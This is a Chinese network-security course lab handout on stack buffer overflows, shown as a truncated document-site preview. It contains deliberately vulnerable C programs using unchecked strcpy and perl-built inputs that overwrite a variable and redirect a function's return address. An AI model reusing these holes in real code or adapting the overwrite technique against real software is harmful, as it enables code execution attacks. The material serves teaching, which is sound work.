网络安全实验二

网络安全实验二

ID:46826620

大小:181.21 KB

页数:8页

时间:2019-11-28

网络安全实验二_第1页
网络安全实验二_第2页
网络安全实验二_第3页
网络安全实验二_第4页
网络安全实验二_第5页
资源描述:

《网络安全实验二》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库

1、实验二栈溢出实验【实验内容】利用栈溢出修改变量值利用栈溢出修改函数返回地址,运行恶意代码【实验类型】验证型实验【实验学时】3学时【实验原理】如果向栈上声明的缓冲区中复制数据,但是复制到数据量又比缓冲区大的时候,就会发生栈溢出。在栈上声明的各种变量的位置紧临函数调用程序的返回地址。若用户输入的数据未经验证就传递给strcpy这样的函数,则会导致变量值被攻击者指定的值所改写或调用函数的返回地址将被攻击者选择的地址所覆盖,打乱程序正常运行流程,转而执行恶意代码。防范栈溢出的有效方法有:禁止栈执行,从而阻止攻击者植入恶意代码;编写安全可靠的代码,始终对输入

2、的内容进行验证;利用编译器的边界检查实现栈保护。【实验环境】Linux实验台(CentOS)gcc和gdb工具【实验步骤】打开Linux实验台,输入用户名和口令,进入系统。一、修改变量值(1)新建stackover1.c文件:touchstackover1.c;(2)编辑stackover1.c文件:vimstackover1.c,按i键进如编辑模式,输入示例程序1,按Esc键退出编辑模式,进入命令行,输入:wq保存并退出文件编辑,上述过程如图3.5.37和图3.5.38所示;(1)查看编辑结果:catstackover1.c,如图3.5.3

3、9所示;(2)生成可执行文件:gccstackover1.c–ostackover1;(3)运行执行文件:./stackover1ABCDE,执行结果如图3.5.310所示;从结果中可以看出,x的值为程序中的设定值10;(1)在内存中x紧邻buf,所以输入11个字符制造栈缓冲区溢出,以修改x所在地址空间的值:./stackover1ABCDEFGHIJK,运行结果如图3.5.311所示;x的值为75,对应K的ASCII码,x的值发生改变;(2)利用perl命令输入适当的字符串,将x的值修改为任意指定的值,如修改为30,十六进制为0x1e:./s

4、tackover1`perl–e‘print“A”x10.“x1e”’`,运行结果如图3.5.312所示;x的值为30,修改成功。示例程序1:#include#includevoidfunction(char*str){charbuf[10];intx=10;strcpy(buf,str);printf("x=%d",x);}intmain(intargc,char*argv[]){function(argv[1]);return0;}一、修改函数返回地址,运行恶意代码(1)参照上述步骤,新建stack

5、over2.c文件,输入示例程序2,生成可执行文件stackover2;(2)运行可执行文件并查看结果:./stackover2AAAAA,结果如图3.5.313所示;从结果中可以看出程序运行的栈情况,foo函数的返回地址位于第7个位置上,bar的函数入口地址为0x08048421;(1)随意输入多个字符制造栈溢出:./stackover2`perl–e‘print“A”x25’`,运行结果如图3.5.315所示;(2)构造输入字符串,将第7个位置修改为bar函数入口地址,即修改foo函数的返回地址为bar函数的入口地址,以修改程序运行流程:.

6、/stackover2`perl–e‘print“A”x14.“x21x84x04x08”’`,运行结果如图3.5.317所示;bar函数运行,打印出“Hi!You’vebeenhacked!”,攻击成功。通常我们无法获取函数的地址和程序运行时栈的情况,需要通过反编译来查看变量地址或函数的入口地址,通过深入理解程序运行时的内存分配来计算函数返回地址在内存中的位置,以便达到修改程序运行流程、执行恶意代码的目的示例程序2#include#includevoidfoo(constchar*input){ch

7、arbuf[10];printf("Mystacklookslike:%p%p%p%p%p%p%p%p");strcpy(buf,input);printf("%s",buf);printf("Nowthestacklookslike:%p%p%p%p%p%p%p%p");}voidbar(void){printf("Hi!You'vebeenhacked!");}intmain(intargc,char*argv[]){printf("Addressoffoo

8、=%p",foo);printf("Addressofbar=%p",bar);foo(argv[1]);retu

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。